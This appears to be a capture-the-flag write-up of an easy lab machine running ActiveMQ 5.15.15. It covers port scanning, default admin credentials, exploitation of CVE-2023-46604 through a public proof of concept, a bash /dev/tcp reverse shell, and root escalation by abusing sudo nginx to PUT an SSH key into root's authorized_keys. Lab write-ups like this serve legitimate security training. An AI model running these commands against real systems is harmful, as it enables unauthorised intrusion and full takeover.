- Easy rated box
- Machine hosting an ActiveMQ server on port 61616
Enumeration
I’ll start off with an nmap scan to discover any open ports.
nmap -sV -p- 10.10.11.243
<img src=../../assets/broker_assets/1.jpg>
ActiveMQ is running on port 61616 is what caught my attention, but I also wanted to know what version of ActiveMQ is running so I ran nmap with -sC after. It turns out it’s hosting ActiveMQ version 5.15.15
<img src=../../assets/broker_assets/3.jpg>
I was also very curious also about port 8161 as it’s providing a 401 unauthorized error. I did a quick research on the default credentials for Active MQ and it turns out that the default usernameadmin:admin
which led me to a very interesting site.
<img src=../../assets/broker_assets/2.jpg> <img src=../../assets/broker_assets/4.jpg> <img src=../../assets/broker_assets/5.jpg>
I went and did a vulnerability search on this specific version on ActiveMQ and it turns out it that the first result was cve-2023-46604 with a CVSS rating of 10.0
<img src=../../assets/broker_assets/6.jpg>
I tried to look for a POC and I decided to use this one
Exploitation
The exploit mentioned in the Enumeration section exploits a deserialization vulnerability on Java OpenWire in order to execute arbitrary shell commands. The PoC also provides a malicious xml file which holds commands executed on the remote server
python3 exploit.py -i 10.10.11.243 -p 61616 -si <your-ip> -sp <your-port>
<img src=../../assets/broker_assets/7.jpg>
I then opened a nc listener for a reverse shell
bash -i >& /dev/tcp/<ip>/<port> 0>&1
<img src=../../assets/broker_assets/8.jpg>
Post Exploitation
Sudo privileges for the nginx binary was allowed for the activeMQ user after performing sudo -l
<img src=../../assets/broker_assets/9.jpg>
I created an nginx.conf with the PUT method allowed and set that as the default configuration file to allow me to write to the authorized_keys file in root’s .ssh folder
<img src=../../assets/broker_assets/10.jpg>
After creating the file, I set it as the default using this command:
sudo nginx -c /tmp/nginx.conf
I then used curl to write my public key to root’s authorized_keys file in the .ssh folder
curl -X PUT localhost:12345/root/.ssh/authorized_keys -d "<public-key>"
<img src=../../assets/broker_assets/11.jpg>
Lastly, I used my private key to ssh into root
ssh -i id_rsa [email protected]
<img src=../../assets/broker_assets/12.jpg>